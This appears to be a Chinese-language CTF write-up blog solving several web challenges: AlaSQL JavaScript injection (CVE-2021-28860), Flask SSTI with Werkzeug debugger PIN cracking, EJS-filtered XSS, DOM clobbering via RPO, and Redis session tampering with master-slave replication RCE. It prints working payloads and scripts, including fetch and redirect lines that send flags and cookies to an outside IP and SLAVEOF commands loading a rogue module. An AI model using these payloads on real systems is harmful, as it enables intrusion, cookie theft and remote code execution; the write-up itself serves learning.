1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 const alasql = require ('alasql' );const genPayload = command => ` new Function( 'return this.process.mainModule.require' )()('child_process').execSync(${JSON .stringify(command)} ) ` ;res = alasql ( 'CREATE table i_am_a_table;' + `INSERT INTO i_am_a_table VALUES (1337);` + `UPDATE i_am_a_table SET [0'+${genPayload(">&2 echo UPDATE pwned $(whoami)" )} +']=42;` + `SELECT * from i_am_a_table where whatever=['+${genPayload(">&2 echo SELECT pwned $(whoami)" )} +'];` + `SELECT \`'+${genPayload(">&2 echo SELECT pwned again, back-quote works too. $(whoami)" )} +'\` from i_am_a_table where 1;` + `SELECT [whatever||${genPayload('>&2 echo calling function pwned' )} ||]('whatever');` );
那么只要压缩成一句话用curl发出去就好了:
1 2 3 curl -g "http://host3.dreamhack.games:16449/?CREATE%20TABLE%20t;INSERT%20INTO%20t%20VALUES(1);SELECT%20*%20FROM%20t%20WHERE%201=[0'+(function(){throw%20new%20Error(global.process.mainModule.require('child_process').execSync('/flag').toString())})()+'0]" "Error: DH{a849ef8b9106c65a30d2238623a9d848}\n\n"
那么原理呢?
AlaSQL还蛮神奇的,普通Sql 和AlaSQL 的区别就很像Scratch 和TurboWrap 的区别。AlaSQL把sql语句编译为js,然后把查询函数注入V8运行时,相当于直接在跑js虚拟机。这里不太直接地考到了CVE-2021-28860。AlaSQL允许使用中括号[ ]来包裹含有特殊字符的列名或表名。而在0.6.0 版本中,AlaSQL的代码生成器在处理中括号 内的内容时,没有任何转义和过滤,直接将它们硬拼接到了即将执行的JavaScript字符串里。
那么相当于是js注入。文章的PoC没有回显,但是Dockerfile提示这是alaserver.js,那么就去翻一下源码,看看有没有能够回显的方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 #!/usr/bin/env node var alasql = require ('alasql' );var http = require ('http' );var url = require ('url' );var port = (process.argv [2 ] || 1337 ) | 0 ;if (!port) { throw new Error ('Wrong port number ' + process.argv [3 ]); } http .createServer (function (req, res ) { var sql = decodeURI (url.parse (req.url ).search ).substr (1 ); var a = '' ; try { a = alasql (sql); } catch (err) { a = err.toString (); } res.writeHead (200 , {'Content-Type' : 'application/json' }); res.end (JSON .stringify (a)); }) .listen (port, '127.0.0.1' ); console .log ('Server running at http://127.0.0.1:' + port + '/' );
可以看到啊,catch接到的东西会被发回来,那么throw一个Error就可以了 。
再来看一眼payload:
1 2 3 CREATE TABLE t;INSERT INTO t VALUES (1 );SELECT * FROM t WHERE 1 =[0 ' (function(){throw new Error(global.process.mainModule.require(' child_process').execSync(' /flag').toString())})() ' 0 ]
最后这个中括号会被拼接成什么呢?因为AlaSql会把语句编译为js,最终一定会把
1 2 3 4 1=[0' (function(){throw new Error(global.process.mainModule.require('child_process').execSync('/flag').toString())})() '0]``` 编译为js的 ```js 1 == row['0' + (function(){ throw new Error( child_process.execSync('/flag') ) })() + '0']
OK啊,那么就去exec了,并且会把stdout给throw出来。其实原理不复杂,还好找到了那篇文章,不然真不会做。。
NSS Description The Simple and Secure Node.js Storage Service!
解题 我的靶机炸了
I can Read! Description Rumor has it that the admin page is broken and is being debugged on the internal network..
审计 代码不到40行,有两个flask。main监听5000端口,/路由有SSTI;8000端口有个/keygen,但开了Debug,可以触发报错。
1 2 3 4 5 @app.route('/keygen/<path:string>' ) def keygen (string ): n = len (string)-1 a = hashlib.md5(string.encode('utf-8' )) return str (hex (int (int (a.hexdigest(),16 )/n)))
这里只要传入一个字符,比如/a,n就等于0,会触发ZeroDivisionError。
附件缺少run.sh,直接开靶机吧
解题 5000端口的SSTI确实可用,但读不了/flag,权限不足。怀疑admin是root权限。
读一下run.sh,payload:
1 {{'' .__class__.__mro__[1 ].__subclasses__()[104 ].__init__.__globals__['sys' ].modules['os' ].popen('cat /run.sh' ).read()}}
1 2 3 #!/bin/sh su - user -c "nohup python3 /var/www/main/app.py 1> /dev/null 2>&1 &" python3 /var/www/admin/app.py
试试看admin的flask debugger:
1 {{'' .__class__.__mro__[1 ].__subclasses__()[104 ].__init__.__globals__['sys' ].modules['os' ].popen('curl http://localhost:8000/keygen/test' ).read()}}
那么思路很清晰,要计算flask的debug pin。先收集信息:
1 2 3 4 5 6 7 8 9 cat /sys/class/net/eth0/addressaa:fc :00:02:1c:01 cat /proc/sys/kernel/random/boot_id3dee9a2d-9d64-45dd-aec8-b6b51ecc4728 cat /proc/self/cgroup0::/libpod_parent/libpod-b56754c475f5477fbe0e2974955e58bd24f88d90e4c4f67ad8c984f56862b1da
其他信息是已知的:
1 2 3 4 5 6 probably_public_bits = [ 'root' 'flask.app' , 'Flask' , '/usr/local/lib/python3.8/site-packages/flask/app.py' ]
翻出之前留着的计算脚本,我忘记是哪篇博客抄来的,链接先不放了..
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 import hashlibfrom itertools import chaindef mac_10 (): """ /sys/class/net/eth0/address mac地址十进制 :return: """ mac_address = "aa:fc:00:02:1c:01" value = int (mac_address.replace(":" , "" ), 16 ) return str (value) probably_public_bits = [ 'root' 'flask.app' , 'Flask' , '/usr/local/lib/python3.8/site-packages/flask/app.py' ] machine_id = '' boot_id = '3dee9a2d-9d64-45dd-aec8-b6b51ecc4728' c_group = '0::/libpod_parent/libpod-b56754c475f5477fbe0e2974955e58bd24f88d90e4c4f67ad8c984f56862b1da' id = '' if machine_id: id += machine_id.strip() else : id += boot_id.strip() id += c_group.strip().rpartition('/' )[2 ]private_bits = [ mac_10(), id ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode("utf-8" ) h.update(bit) h.update(b"cookiesalt" ) cookie_name = f"__wzd{h.hexdigest()[:20 ]} " num = None if num is None : h.update(b"pinsalt" ) num = f"{int (h.hexdigest(), 16 ):09d} " [:9 ] rv = None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = "-" .join( num[x: x + group_size].rjust(group_size, "0" ) for x in range (0 , len (num), group_size) ) break else : rv = num print (rv)
然后就是和普通题目稍微不太一样的地方了,这个debugger只能拿到html,没法直接用浏览器来操作。这里研究了一下,写了个python脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import urllib.request as r, urllib.parse as p, retry : r.urlopen("http://127.0.0.1:8000/keygen/a" )except Exception as e: h = e.read().decode()s = re.search('SECRET = "(.*?)";' , h).group(1 ) f = re.search('id="frame-(.*?)"' , h).group(1 ) print ("S:" +s+" F:" +f)pin = '273-621-736' q = r.Request("http://127.0.0.1:8000/keygen/a?__debugger__=yes&cmd=pinauth&pin=" +pin+"&s=" +s) res = r.urlopen(q) print ("Auth OK with " + pin)c = res.getheader('Set-Cookie' ) if not c: c = res.getheader('set-cookie' )cmd = p.quote("__import__('os').popen('cat /flag').read()" ) q2 = r.Request("http://127.0.0.1:8000/keygen/a?__debugger__=yes&cmd=" +cmd+"&frm=" +f+"&s=" +s) q2.add_header("Cookie" , c) print (r.urlopen(q2).read().decode())
用base64先上传到/tmp/exp.py,然后再python3 /tmp/exp.py,OK出了。
1 curl -H "X-Proxy-Target: http://127.0.0.1:8000/" http://host3.dreamhack.games:14857
复盘 其实我想打内存马,增加一个/proxy路由,直接复用5000端口作为http代理,不过没打通,靶机到期了…先留着,这个得学的。
easyxss 审计 1 2 3 4 5 6 7 8 9 10 11 12 13 router.get ('/' , (req, res ) => { const blog = req.query .blog || 'https://pocas.kr' ; const user = JSON .parse (`{"username":"Tester", "setblog":"${blog} "}` ); const url = parse (user['setblog' ], true ) , hostname = url.hostname ; if ((hostname === 'web-noob.kr' && user['username' ] === 'hello' ) || (hostname === 'web-noob.kr' && username === 'world' )) { console .log (1 ) res.render ('index' , {url :url}); } else { res.render ('index' , {url :'#' }); } });
XSS出现在/路由上,注意到两个点:1. Json是拼接而成的,可能存在双引号破坏结构;2. if那行第一个用户名判断使用了user['username'] === 'hello'),第二个使用了username === 'world'。如果还有一点,那就是url.hostname可以指定任意协议头。
解题 首先尝试本地XSS,结合上述几点,使用这个Payload:
1 /?blog=http://web-noob.kr/", "username":"hello
发现真的跳转到http://web-noob.kr/了。同理的,如果使用javascript://web-noob.kr/就可以在目标地点执行任意 Js了(其实也不是)。
首先尝试最普通的也是最常见的返回base64编码网页,不过失败了
1 2 3 javascript://web-noob.kr/%0afetch('/flag').then(r=>r.text()).then(t=>fetch('http://120.26.146.96:8080/?c='+btoa(t)))", "username":"hello javascript://web-noob.kr/\nfetch('/flag').then(r=>r.text()).then(t=>fetch('http://120.26.146.96:8080/?c='+encodeURIComponent(btoa(t))))", "username":"hello
js根本没有执行,因为本地测试下来网页都没有跳转。
仔细分析了一下,又在console里测试了一下,怀疑是EJS转义<、>、'、"、&导致的。于是上网搜索不使用这些特殊符号的payload,找到了几种,也确实是都可用的。
0. 替代箭头函数 既然大于号无法使用,那可以使用旧的js语法,把r=>r.text()还原为传统的匿名函数function(r){return r.text()}。这个是接下来两点都需要做的。
1. 使用ES6模板字符串(反引号) 反引号是比较特别,它不会被转义,用法也很简单,把单引号换成反引号,把要带出的东西用${}模板包裹就可以。
1 javascript://web-noob.kr/%250afetch(`/flag`).then(function(r){return r.text()}).then(function(t){location.href=`http://120.26.146.96:8080/?c=${btoa(t)}`})", "username":"hello
2. String.fromCharCode构造字符串 嗯这个傻傻的,但真的很有用…
1 javascript://web-noob.kr/%250afetch(String.fromCharCode(47,102,108,97,103)).then(function(r){return r.text()}).then(function(t){location.href=String.fromCharCode(104,116,116,112,58,47,47,49,50,48,46,50,54,46,49,52,54,46,57,54,58,56,48,56,48,47,63,99,61).concat(btoa(t))})", "username":"hello
3. 使用 Base64 这个是看别人的WP发现的,诶,还真是。
1 javascript://web-noob.kr/%250aeval(atob(%27ZmV0Y2goJy9mbGFnJykudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5mZXRjaCgnaHR0cDovLzEyMC4yNi4xNDYuOTY6ODA4MC8/Yz0nK2J0b2EodCkpKQ%27))%22,%22username%22:%22hello
Base64的内容是
1 fetch ('/flag' ).then (r => r.text ()).then (t =>fetch ('http://120.26.146.96:8080/?c=' +btoa (t)))
不过这个Payload非常奇怪,我本地XSS不行(Chrome 版本 145.0.7632.117(正式版本) (arm64)),会触发CORS,远端居然可以?
Guest book v0.2 Description This is a guestbook service being developed in php.
There is a writing function and a report function that allows the administrator to check the address where the error occurred.
The flag is included in the administrator’s cookie.
Code has been added to defend against vulnerabilities found in version 0.1.
This challenge is related to RPO and DOM Clobbering.
审计 附件只给了utils.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php function addLink ($content ) { $content = htmlentities ($content ); $content = preg_replace ('/\[(.*?)\]\((.*?)\)/' , "<a href='$2 '>$1 </a>" , $content ); PreventXSS ($content ); return $content ; } $ALLOW_TAGS_ATTRS = array ( "html" =>['id' , 'name' ], "body" =>['id' , 'name' ], "a" =>['id' ,'href' ,'name' ], "p" =>['id' , 'name' ], ); function PreventXSS ($input ) { global $ALLOW_TAGS_ATTRS ; $htmldoc = new DOMDocument (); $htmldoc ->loadHTML ($input ); $tags = $htmldoc ->getElementsByTagName ("*" ); foreach ($tags as $tag ) { if ( !$ALLOW_TAGS_ATTRS [strtolower ($tag ->nodeName)] ) DisallowAction (); $allow_attrs = $ALLOW_TAGS_ATTRS [strtolower ($tag ->nodeName)]; foreach ($tag ->attributes as $attr ){ if ( !in_array (strtolower ($attr ->nodeName), $allow_attrs ) ) DisallowAction (); } } } function DisallowAction ( ) { die ("no hack" ); } ?>
实在没看出来啥,丢给AI说是单引号可以用来闭合用户输入…有点懵,先开靶机了。
解题 注意到题目给的提示:This challenge is related to RPO and DOM Clobbering.
RPO 搜索了一下RPO(Relative Path Overwrite),那么就要去找有什么东西是相对变量引用的,只发现了这个:
1 2 3 4 5 6 <script src ="config.js" > </script > <script > if (window .CONFIG && window .CONFIG .debug ){ location.href = window .CONFIG .main ; } </script >
查找config.js
1 2 3 4 5 6 7 8 9 window .CONFIG = { version : "v0.2" , main : "/" , debug : false , debugMSG : "" } Object .freeze (window .CONFIG );
既然需要DOM Clobbering,那这个Object.freeze(window.CONFIG);肯定是需要清除的。结合提示的RPO,只需要稍稍改变一下url就可以绕过config.js的加载。
如果访问/GuestBook.php,那么就会加载当前目录(/)下的config.json;但如果访问/GuestBook.php/,那么就会尝试加载/GuestBook.php/config.js,当然返回的html,绕过了DOM覆写保护。
DOOM Clobbering 1 2 3 4 5 6 function addLink ($content ) { $content = htmlentities ($content ); $content = preg_replace ('/\[(.*?)\]\((.*?)\)/' , "<a href='$2 '>$1 </a>" , $content ); PreventXSS ($content ); return $content ; }
注意这个流程,先htmlentities,再preg_replace,最后才PreventXSS。也就是说,[text](PAYLOAD)会直接正则替换为<a href='PAYLOAD'>text</a>,PAYLOAD里的单引号可以用来闭合href的前一个单引号。
目标是让满足下面这两个条件,并且让window.CONFIG.main指向XSS(javascript://…)
1 2 3 if (window .CONFIG && window .CONFIG .debug ){ location.href = window .CONFIG .main ; }
构造以下payload:
1 2 [a ](#' id='CONFIG' name='debug ) [b ](javascript:location.href="http://120.26.146.96:8080/?c="+document.cookie;' id='CONFIG' name='main )
这会生成以下HTML:
1 2 <a href ='#' id ='CONFIG' name ='debug' > a</a > <a href ='javascript:location.href=" http://120.26.146.96:8080/?c=" +document.cookie;' id ='CONFIG' name ='main' > b</a >
第一行让window.CONFIG && window.CONFIG.debug满足(js魅力时刻,存在即true),第二行修改window.CONFIG.main指向这个<a>标签。当执行location.href = window.CONFIG.main;的时候,会自动调用<a> 标签的 toString()。完成跳转XSS。
最终Payload:
1 GuestBook.php/?content=%5Ba%5D%28%23%27+id%3D%27CONFIG%27+name%3D%27debug%29%0D%0A%5Bb%5D%28javascript%3Alocation.href%3D%22http%3A%2F%2F120.26.146.96%3A8080%2F%3Fc%3D%22%2Bdocument.cookie%3B%27+id%3D%27CONFIG%27+name%3D%27main%29
卧槽%00截断+onfocus 翻其他人的WP发现了这个东西!**%00截断+onfocus**
1 /GuestBook.php?content=%5B.%5D%28x%27+name%3D%00+onfocus%3D%27window.location%3D`http%3A%2F%2F120.26.146.96%3A8080%3Fdata%3D%60%2Bdocument.cookie%27++id%3D%00+autofocus+%27%29
URL Decode后大概是(%00是空字符,还是看图吧):
1 [.](x' name=%00 onfocus='window.location=`http://120.26.146.96:8080?data=`+document.cookie' id=%00 autofocus ')
正则替换后是:
1 <a href ='x' name =\x00 onfocus ='window.location=`http://120.26.146.96:8080?data=`+document.cookie' id =\x00 autofocus ''> .</a >
而\x00会截断PreventXSS的检查,到<a href='x' name=就停下了。
当页面加载完后,直接autofocus到这个<a>标签,并且触发onfocus事件完成XSS。tql
node_api Description Reference
challenge for advanced web hacker!
This challenge is related to Session manipulation in Redis.
审计 代码不是很长,直接贴上来了(附件又不完整。。)main.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 const FLAG = function ( ) { try { return require ('fs' ).readFileSync ('flag.txt' ).toString (); } catch (err) { return 'DH{*****}' ; } }() const express = require ('express' );const session = require ('express-session' );const app = express ();const redis = require ('redis' );const redis_client = redis.createClient ();const connectRedis = require ('connect-redis' );const RedisStore = connectRedis (session);const sess = { resave : false , secret : 'dreamhack' , store : new RedisStore ({ client : redis_client }), }; const db = { 'guest' : 'guest' , 'dreamhack' : '1234' , 'ADMIN' : 'this_is_admin?' } function login (user ) { return user.userpw && db[user.userid ] == user.userpw ; } app.use (session (sess)); redis_client.set ('log_info' , 'KEY: "log_" + new Date().getTime(), VALUE: userid' ); app.get ('/show_logs' , function (req, res ) { var log_query = req.query .log_query ; try { log_query = log_query.split ('/' ); if (log_query[0 ].toLowerCase () != 'get' ) { log_query[0 ] = 'get' ; } log_query[1 ] = log_query.slice (1 ) } catch (err) { } try { redis_client.send_command (log_query[0 ], log_query[1 ], function (err, result ) { if (err) { res.send ('ERR' ); } else { res.send (result); } }) } catch (err) { res.send ('try /show_logs?log_query=get/log_info' ) } }); app.get ('/login' , function (req, res ) { redis_client.set ('log_' + new Date ().getTime (), 'userid: ' + req.session .userid ); if (login (req.query )) { req.session .userid = req.query .userid ; res.send ('<script>alert("login!");history.go(-1);</script>' ); } else { res.send ('<script>alert("login failed!");history.go(-1);</script>' ); } }); app.get ('/flag' , function (req, res ) { if (req.session .userid === "admin" ) { res.send (FLAG ) } else { res.send ('hello ' + req.session .userid ); } }); app.get ('/' , function (req, res ) { res.send ('hello ' + req.session .userid ); }); app.listen (8000 , '0.0.0.0' );
package.json
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 { "name" : "node_api" , "version" : "1.0.0" , "description" : "node_api" , "main" : "main.js" , "scripts" : { "test" : "echo \"Error: no test specified\" && exit 1" } , "dependencies" : { "connect-redis" : "^4.0.4" , "express" : "^4.17.1" , "express-session" : "^1.17.0" , "redis" : "^3.0.2" } }
看了一遍,又是catch错误没有处理:
1 2 3 4 5 6 7 8 9 10 11 var log_query = req.query .log_query ;try { log_query = log_query.split ('/' ); if (log_query[0 ].toLowerCase () != 'get' ) { log_query[0 ] = 'get' ; } log_query[1 ] = log_query.slice (1 ) } catch (err) { }
解题1 诶不对,这题怎么感觉做过了,是数组报错绕过吧??搜索了一下卧槽这不就是之前做的phpythonode的node部分嘛。。。
先访问/拿cookie ,s%3AxZtJqKRmpqUjWzVxd6zhJ4fLXmqqVc7g.w5ReVUq30PS7E8a68VDpHb0NXKEOpPehxx%2BATnkOM4g
这里的Session ID就是xZtJqKRmpqUjWzVxd6zhJ4fLXmqqVc7g
我们需要将 Session 数据设置为:
1 { "cookie" : { "originalMaxAge" : null , "expires" : null , "httpOnly" : true , "path" : "/" } , "userid" : "admin" }
payload就是:
1 GET /show_logs?log_query[0]=set&log_query[1][0]=sess:xZtJqKRmpqUjWzVxd6zhJ4fLXmqqVc7g&log_query[1][1]={"cookie":{"originalMaxAge":null,"expires":null,"httpOnly":true,"path":"/"},"userid":"admin"}
返回OK,然后请求/flag,拿到flag:
1 DH{c5adc4033f8b685d84d56423082f21ac}
啊这。。。那是不是还有python_api、php_api…
解题2 之前做phpythonode那题时,做过redis写马了,但这题只有node环境,写马应该不行。现在我有两个思路:
修改main.js,直接返回flag.txt。不过nodejs并不会自动重新加载,这条路不通。 如果靶机出网,考虑Redis主从复制RCE,上传.so用户函数。 试一下主从复制吧:
1 GET /show_logs?log_query[0]=slaveof&log_query[1][0]=120.26.146.96&log_query[1][1]=8080
vps上nc -lvp 8080 卧槽真的出网!!OK Already connected to specified master
诶我vps上刚好有redis-rogue-server ,上次长城杯初赛hjppx没做出来痛定思痛 。
这里需要注意的是,redis默认工作目录在/app,这里redis用户没有权限写入。
1 2 GET /show_logs?log_query[0]=config&log_query[1][]=get&log_query[1][]=dir ["dir" ,"/app" ]
查询Redis版本,说是<=5.0.5可用 ,但实测5.0.7也可以 。这里用的是:https://github.com/Dliv3/redis-rogue-server ,是n0b0dyCN 的同名仓库的fork,方便SSRF。
1 2 GET /show_logs?log_query[0]=info&log_query[1][]=server
开始主从复制RCE:
1 2 3 4 5 6 GET /show_logs?log_query[0]=config&log_query[1][0]=set &log_query[1][1]=dir &log_query[1][2]=/tmp GET /show_logs?log_query[0]=config&log_query[1][0]=set &log_query[1][1]=dbfilename&log_query[1][2]=exp.so GET /show_logs?log_query[0]=slaveof&log_query[1][0]=120.26.146.96&log_query[1][1]=21000
1 2 3 4 5 6 GET /show_logs?log_query[0]=module&log_query[1][0]=load&log_query[1][1]=/tmp/exp.so GET /show_logs?log_query[0]=slaveof&log_query[1][0]=no&log_query[1][1]=one GET /show_logs?log_query[0]=system.exec&log_query[1][0]=cat %20/app/flag.txt